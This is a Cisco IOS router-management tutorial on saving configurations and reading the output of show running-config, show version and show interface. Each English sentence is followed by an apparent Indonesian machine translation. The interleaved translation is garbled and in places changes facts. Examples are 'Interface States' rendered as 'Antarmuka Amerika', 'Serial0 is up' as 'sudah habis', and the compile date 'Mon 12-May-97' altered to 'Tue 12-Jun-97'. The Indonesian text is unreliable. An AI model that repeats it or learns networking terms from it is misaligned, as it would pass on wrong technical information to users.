EXEC istimewa (yaitu di "Router #" prompt.)
Router# copy running-config startup-config Router # copy running-config startup-config
Note: Prior to 11.x software, the command to save the running-configuration to the startup-configuration was different. Catatan: Sebelum 11.x perangkat lunak, perintah untuk menyimpan konfigurasi berjalan-untuk konfigurasi startup-berbeda. Use the following command if your IOS version is prior to 11.x: Gunakan perintah berikut jika Anda versi IOS adalah sebelum 11.x:
Router#write memory Router # menulis memori
IMPORTANT: When editing a configuration, SAVE the configuration often! PENTING: Saat mengedit konfigurasi, SAVE konfigurasi sering!
Router Management Manajemen Router
IOS supports many different types of show commands. IOS mendukung berbagai jenis perintah menunjukkan. This section covers a few of the common show commands used to both manage and troubleshoot a router. Bagian ini mencakup beberapa perintah yang umum digunakan untuk menunjukkan baik mengelola dan memecahkan masalah router. The scope of this document is not to instruct how to use these commands to troubleshoot a router, but to make the user aware that these management options exist. Ruang lingkup dari dokumen ini adalah tidak untuk menginstruksikan bagaimana menggunakan perintah ini untuk memecahkan masalah router, tetapi untuk membuat pengguna menyadari bahwa pilihan manajemen ada. For specific information about troubleshooting a network using these commands, refer to the appropriate Untuk informasi spesifik tentang masalah jaringan menggunakan perintah ini, lihat sesuai troubleshooting document. pemecahan masalah dokumen.
Displaying Configurations Menampilkan Konfigurasi
To display the running-configuration, type the following command in privileged EXEC mode: Untuk menampilkan berjalan-konfigurasi, ketik perintah berikut dalam mode privileged EXEC:
Router#show running-config Router # show running-config
To display the startup-configuration that is stored in NVRAM, type the following command in privileged EXEC mode: Untuk menampilkan konfigurasi startup-yang disimpan di NVRAM, ketik perintah berikut dalam mode privileged EXEC:
Router#show startup-config Router # show startup-config
The following is the show running-config output from the example used in the Router Configuration section. Berikut ini adalah show running-config output dari contoh yang digunakan dalam Konfigurasi Router bagian.
Current configuration: Saat ini konfigurasi: ! ! version 11.2 versi 11.2 ! ! hostname cisco hostname cisco ! ! enable password cisco memungkinkan sandi cisco ! ! interface Ethernet0 interface Ethernet0 ip address 10.1.1.1 255.0.0.0 ip address 10.1.1.1 255.0.0.0 ! ! interface Serial0 interface Serial0 ip address 20.2.2.2 255.0.0.0 ip address 20.2.2.2 255.0.0.0 ! ! router rip router rip network 10.0.0.0 jaringan 10.0.0.0 network 20.0.0.0 jaringan 20.0.0.0 ! ! ip route 0.0.0.0 0.0.0.0 20.2.2.3 ip route 0.0.0.0 0.0.0.0 20.2.2.3 ! ! line vty 0 4 line vty 0 4 password telnet telnet password login login ! ! end akhirWhen displaying a configuration, the exclamation marks (!) function as line separators to make reading easier. Ketika menampilkan konfigurasi, tanda seru (!) Berfungsi sebagai pemisah baris untuk membuat membaca lebih mudah. Referring to the above example, notice how commands entered at the interface configuration level appear indented underneath the respective interface (eg interface Ethernet0). Mengacu pada contoh di atas, perhatikan bagaimana perintah masuk di tingkat konfigurasi antarmuka muncul indentasi di bawah antarmuka masing-masing (misalnya interface Ethernet0). Likewise, commands entered underneath the routing engine configuration level appear indented underneath the routing engine (eg router rip). Demikian juga, perintah masuk di bawah tingkat mesin konfigurasi routing muncul indentasi di bawah mesin routing (misalnya router rip). Global level commands are not indented. Perintah tingkat global tidak indentasi. This type of display allows a user to easily identify which configuration parameters are set at the global configuration level and which are set at the various configuration sub-levels. Jenis layar memungkinkan pengguna untuk dengan mudah mengidentifikasi parameter konfigurasi ditetapkan pada tingkat global dan konfigurasi yang ditetapkan pada konfigurasi berbagai sub-tingkat.
Note: If an interface was in a shutdown state, the word 'shutdown' would appear indented under the particular interface in shutdown state. Catatan: Jika antarmuka berada dalam keadaan shutdown, 'shutdown' kata akan muncul indentasi di bawah interface tertentu di negara shutdown. Also, commands that are enabled by default are not displayed in the configuration listing. Juga, perintah yang diaktifkan secara default tidak ditampilkan dalam daftar konfigurasi.
Displaying Software Version And More Menampilkan Versi Perangkat Lunak Dan Lagi
The show version command provides a lot of information in addition to the version of software that is running on the router. Perintah show version menyediakan banyak informasi selain versi dari perangkat lunak yang berjalan pada router. The following information can be collected with the show version command: Informasi berikut dapat dikumpulkan dengan perintah show version:
Software Version Versi perangkat lunak - IOS software version (stored in flash) - IOS versi perangkat lunak (disimpan di flash) Bootstrap Version Versi Bootstrap - Bootstrap version (stored in Boot ROM) - Versi Bootstrap (disimpan dalam ROM Boot) System up-time Sistem up-waktu - Time since last reboot - Waktu sejak reboot terakhir System restart info Sistem me-restart Info - Method of restart (eg power cycle, crash) - Metode restart (siklus kekuasaan misalnya, kecelakaan) Software image name Nama perangkat lunak gambar - IOS filename stored in flash - Nama file IOS yang disimpan di flash Router Type and Processor type Jenis dan tipe router Prosesor - Model number and processor type - Nomor model tipe prosesor dan Memory type and allocation (Shared/Main) Memori jenis dan alokasi (Shared / Utama) - Main Processor RAM - Prosesor RAM Utama
- Shared Packet I/O buffering - Dipakai Bersama paket I / O bufferSoftware Features Fitur Perangkat Lunak - Supported protocols / feature sets - Protokol yang didukung / set fitur Hardware Interfaces Antarmuka hardware - Interfaces available on router - Interface yang tersedia pada router Configuration Register Konfigurasi Pendaftaran - Bootup specifications, console speed setting, etc. - Bootup spesifikasi, konsol pengaturan kecepatan, dll The following is a sample output of a show version command. Berikut ini adalah contoh output dari perintah show version.
Router# show version Router # show version Cisco Internetwork Operating System Software Cisco Internetwork Operating System Perangkat Lunak IOS (tm) 3600 Software (C3640-JM), Version 11.2(6)P, SHARED PLATFORM, IOS (tm) 3600 Software (C3640-JM), Versi 11.2 (6) P, PLATFORM BERSAMA, RELEASE SOFTWARE (fc1) RELEASE SOFTWARE (FC1) Copyright (c) 1986-1997 by cisco Systems, Inc. Copyright (c) 1986-1997 oleh Cisco Systems, Inc Compiled Mon 12-May-97 15:07 by tej Disusun Tue 12-Jun-97 15:07 oleh Tej Image text-base: 0x600088A0, data-base: 0x6075C000 Gambar teks-dasar: 0x600088A0, data-base: 0x6075C000 ROM: System Bootstrap, Version 11.1(7)AX [kuong (7)AX], EARLY DEPLOYMENT ROM: Sistem Bootstrap, Version 11.1 (7) AX [Kuong (7) AX] Deployment, AWAL RELEASE SOFTWARE (fc2) RELEASE SOFTWARE (FC2) Router uptime is 1 week, 1 day, 38 minutes Router uptime adalah 1 minggu, 1 hari, 38 menit System restarted by power-on Sistem restart dengan power-on System image file is "flash:c3640-j-mz_112-6_P.bin", booted Sistem file gambar adalah "flash: c3640-j-mz_112-6_P.bin", boot via flash melalui flash Host configuration file is "3600_4-confg", booted via tftp Host file konfigurasi "3600_4-confg", boot melalui tftp from 171.69.83.194 dari 171.69.83.194 cisco 3640 (R4700) processor (revision 0x00) with 107520K/23552K bytes cisco 3640 (R4700) processor (0x00 revisi) dengan byte 107520K/23552K of memory. memori. Processor board ID 03084730 Prosesor papan ID 03084730 R4700 processor, Implementation 33, Revision 1.0 R4700 prosesor, Pelaksanaan 33, Revisi 1.0 Bridging software. Menjembatani perangkat lunak. SuperLAT software copyright 1990 by Meridian Technology Corp). SuperLAT hak cipta perangkat lunak tahun 1990 oleh Meridian Teknologi Corp). X.25 software, Version 2.0, NET2, BFE and GOSIP compliant. X.25 software, Versi 2.0, NET2, BFE dan sesuai GOSIP. TN3270 Emulation software. TN3270 Emulation perangkat lunak. Primary Rate ISDN software, Version 1.0. Primary Rate ISDN software, Versi 1.0. 2 Ethernet/IEEE 802.3 interface(s) 2 Ethernet / IEEE 802.3 interface (s) 97 Serial network interface(s) 97 antarmuka jaringan Serial (s) 4 Channelized T1/PRI port(s) 4 Channelized T1/PRI port (s) DRAM configuration is 64 bits wide with parity disabled. DRAM konfigurasi 64 bit lebar dengan paritas dinonaktifkan. 125K bytes of non-volatile configuration memory. 125k byte memori non-volatile konfigurasi. 16384K bytes of processor board System flash (Read/Write) 16384K bytes dari prosesor papan Sistem flash (Read / Write) Configuration register is 0x2102 Konfigurasi register adalah 0x2102
Displaying Interface States Menampilkan Antarmuka Amerika
To view information about a particular interface, use the show interface command. Untuk melihat informasi tentang interface tertentu, menggunakan perintah show interface. The show interface command provides the following list of important information: Perintah show interface menyediakan daftar informasi penting berikut:
Interface State (eg UP, DOWN, LOOPED) Antarmuka Negara (misalnya ATAS, BAWAH, dilingkarkan) Protocol addresses Protokol alamat Bandwidth Bandwidth Reliability and Load Keandalan dan Beban Encapsulation type Enkapsulasi Jenis Packet Rates Paket Tarif Error Rates Kesalahan Tarif Signaling Status (ie DCD,DSR,DTR,RTS,CTS) Signaling Status (yaitu DCD, DSR, DTR, RTS, CTS) The following is an example of a "show interface serial0" output: Berikut ini adalah contoh dari sebuah "show interface serial0" output:
Router#show interface serial 0 Router # menunjukkan antarmuka serial 0 Serial0 is up, line protocol is down Serial0 sudah habis, protokol line bawah Hardware is QUICC Serial Hardware Serial QUICC Internet address is 10.1.1.2/24 Alamat Internet adalah 10.1.1.2/24 MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec, rely 255/255, load 1/255 MTU 1500 byte, BW 1544 Kbit, DLY 20000 usec, mengandalkan 255/255, beban 1 / 255 Encapsulation FRAME-RELAY, loopback not set, keepalive set (10 sec) Enkapsulasi frame-relay set, loopback tidak di set, keepalive (10 detik) LMI enq sent 207603, LMI stat recvd 113715, LMI upd recvd 0, DTE LMI LMI enq dikirim 207603, LMI stat yang recvd 113715, LMI upd recvd 0, DTE LMI down bawah LMI enq recvd 0, LMI stat sent 0, LMI upd sent 0 LMI enq recvd 0, LMI stat yang dikirim 0, LMI upd dikirim 0 LMI DLCI 1023 LMI type is CISCO frame relay DTE LMI DLCI 1023 Jenis LMI frame relay CISCO DTE Broadcast queue 0/64, broadcasts sent/dropped 0/0, interface broadcasts Broadcast antrian 0 / 64, siaran dikirim / menjatuhkan 0 / 0, siaran antarmuka 62856 62856 Last input 1w, output 00:00:08, output hang never Terakhir masukan 1w, output 00:00:08, output tidak pernah menggantung Last clearing of "show interface" counters never Terakhir kliring "show interface" counters pernah Input queue: 0/75/0 (size/max/drops); Total output drops: 0 Masukan antrian: 0/75/0 (ukuran / max / tetes); tetes Total output: 0 Queueing strategy: weighted fair Antrian strategi: adil tertimbang Output queue: 0/64/0 (size/threshold/drops) Keluaran antrian: 0/64/0 (ukuran / batas / tetes) Conversations 0/1 (active/max active) Percakapan 0 / 1 (aktif / max aktif) Reserved Conversations 0/0 (allocated/max allocated) Percakapan reserved 0 / 0 (dialokasikan / max dialokasikan) 5 minute input rate 1000 bits/sec, 1 packets/sec 5 menit tingkat masukan 1000 bit / detik, 1 paket / detik 5 minute output rate 0 bits/sec, 0 packets/sec 5 menit tingkat output 0 bit / detik, 0 paket / detik 1012272 packets input, 91255488 bytes, 0 no buffer 1012272 paket masukan, 91255488 bytes, 0 penyangga tidak ada Received 916 broadcasts, 0 runts, 0 giants Diterima 916 siaran, 0 runts, 0 raksasa 18519 input errors, 0 CRC, 17796 frame, 0 overrun, 0 ignored, 723 abort 18519 masukan kesalahan, 0 CRC, 17796 frame, 0 overrun, 0 diabaikan, 723 batalkan 283132 packets output, 13712011 bytes, 0 underruns 283132 paket output, 13712011 bytes, 0 underruns 0 output errors, 0 collisions, 31317 interface resets 0 output kesalahan, 0 tabrakan, reset antarmuka 31317 0 output buffer failures, 0 output buffers swapped out Kegagalan output 0 buffer, 0 output buffer bertukar keluar 3 carrier transitions 3 operator transisi DCD=up DSR=up DTR=up RTS=up CTS=up DCD = up DSR = up DTR = up RTS = up CTS = up